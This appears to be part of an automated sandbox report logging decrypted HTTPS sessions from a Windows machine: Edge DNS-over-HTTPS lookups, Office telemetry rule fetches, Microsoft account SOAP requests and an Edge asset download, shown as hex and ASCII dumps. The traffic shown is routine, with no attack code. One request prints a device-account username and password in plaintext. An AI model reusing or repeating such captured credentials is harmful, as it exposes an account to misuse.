2024-11-20 22:12:49 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.7	49840	162.159.61.3	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:49 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 22:12:49 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 09 61 7a 75 72 65 65 64 67 65 03 6e 65 74 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 45 00 0c 00 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgeassetserviceazureedgenet)EA
2024-11-20 22:12:49 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 22:12:49 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e5bc8a1cd734407-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 22:12:49 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 05 00 00 00 01 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 09 61 7a 75 72 65 65 64 67 65 03 6e 65 74 00 00 01 00 01 c0 0c 00 05 00 01 00 00 06 fa 00 17 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 03 61 66 64 c0 1d c0 3c 00 05 00 01 00 00 0e 02 00 22 10 61 7a 75 72 65 65 64 67 65 2d 74 2d 70 72 6f 64 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 c0 27 c0 5f 00 05 00 01 00 00 00 2e 00 2c 04 73 68 65 64 08 64 75 61 6c 2d 6c 6f 77 0b 73 2d 70 61 72 74 2d 30 30 31 32 06 74 2d 30 30 30 39 08 74 2d 6d 73 65 64 67 65 c0 27 c0 8d 00 05 00 01 00 00 00 2e 00 02 c0 9b c0 9b 00 01 00 01 00 00 00 2e 00 04 0d 6b f6 28 00 00 29 04 d0 00 00 00 00 00 f2 00 0c 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgeassetserviceazureedgenetedgeassetserviceafd<"azureedge-t-prodtrafficmanager'_.,sheddual-lows-part-0012t-0009t-msedge'..k()

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:49 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:49 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:49 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221249Z-185f5d8b95crwqd8hC1NYCps680000000arg000000015r00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:49 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.7	49844	20.190.181.5	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:50 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-20 22:12:50 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 78 72 79 69 76 6a 79 78 74 6d 78 70 63 70 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 24 75 4d 32 33 55 44 7e 76 6b 60 31 61 46 6d 2b 6d 6f 62 6c 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 71 74 6c 74 6e 74 63 62 72 65 71 75 61 6a 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02xryivjyxtmxpcp</Membername><Password>$uM23UD~vk`1aFm+mobl</Password></Authentication><OldMembername>02qtltntcbrequaj</OldM
2024-11-20 22:12:55 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Wed, 20 Nov 2024 22:11:50 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C526_SN1 x-ms-request-id: 2e994d11-8e59-4882-a192-cd4fd5ffe5e0 PPServer: PPV: 30 H: SN1PEPF0002F107 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 22:12:54 GMT Connection: close Content-Length: 17166
2024-11-20 22:12:55 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 38 30 31 30 33 46 42 30 39 35 44 46 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 32 31 38 33 36 39 38 62 2d 34 61 30 61 2d 34 33 37 32 2d 39 34 34 33 2d 32 35 64 35 33 64 64 65 38 39 34 63 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>001880103FB095DF</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="2183698b-4a0a-4372-9443-25d53dde894c" LicenseID="3252b20c-d425-4711
2024-11-20 22:12:55 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.7	49843	20.190.181.5	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:50 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-20 22:12:50 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 22:12:50 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 22:11:50 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: 2986d601-480d-45a3-9717-291b07820c82 PPServer: PPV: 30 H: PH1PEPF00011E69 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 22:12:50 GMT Connection: close Content-Length: 1276
2024-11-20 22:12:50 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:50 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:50 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:50 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 137cb315-101e-0017-3264-3b47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221250Z-178bfbc474bwlrhlhC1NYCy3kg00000000mg00000000eyx2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:50 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:50 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:51 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 38897a0b-401e-000a-7a8c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221251Z-1777c6cb754j8gqphC1TEB5bf80000000a4000000000etez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:51 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:50 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:51 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221251Z-178bfbc474bv7whqhC1NYC1fg400000000gg00000000k9nn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:51 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:51 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:51 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 733c43f5-901e-007b-0e8c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221251Z-1777c6cb754xrr98hC1TEB3kag00000009y000000000v9ms x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:51 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.7	49854	13.107.246.40	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:51 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 22:12:52 UTC	583	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:51 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: e2b3c801-c01e-0053-2b87-3b7408000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T221251Z-178bfbc474b7cbwqhC1NYC8z4n00000000d00000000009fz Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:52 UTC	15801	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
